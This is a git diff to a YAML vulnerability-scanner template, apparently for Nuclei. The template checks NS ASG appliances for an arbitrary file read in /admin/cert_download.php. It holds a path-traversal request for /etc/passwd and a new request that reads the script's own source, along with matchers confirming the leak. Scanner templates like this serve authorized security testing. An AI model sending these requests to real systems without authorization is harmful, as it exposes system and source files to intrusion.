Update ns-asg-file-read.yaml
parent
2a46f341a6
commit
37dc09b55b
|
@ -2,7 +2,7 @@ id: nsasg-arbitrary-file-read
|
|||
|
||||
info:
|
||||
name: NS ASG Arbitrary File Read
|
||||
author: pikpikcu
|
||||
author: pikpikcu, ritikchaddha
|
||||
severity: high
|
||||
reference: https://zhuanlan.zhihu.com/p/368054963
|
||||
tags: nsasg,lfi
|
||||
|
@ -11,6 +11,7 @@ requests:
|
|||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/admin/cert_download.php?file=pqpqpqpq.txt&certfile=../../../../../../../../etc/passwd"
|
||||
- "{{BaseURL}}/admin/cert_download.php?file=pqpqpqpq.txt&certfile=cert_download.php"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
|
@ -19,6 +20,12 @@ requests:
|
|||
regex:
|
||||
- "root:.*:0:0:"
|
||||
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "$certfile"
|
||||
- "application/pdf"
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
|
Loading…
Reference in New Issue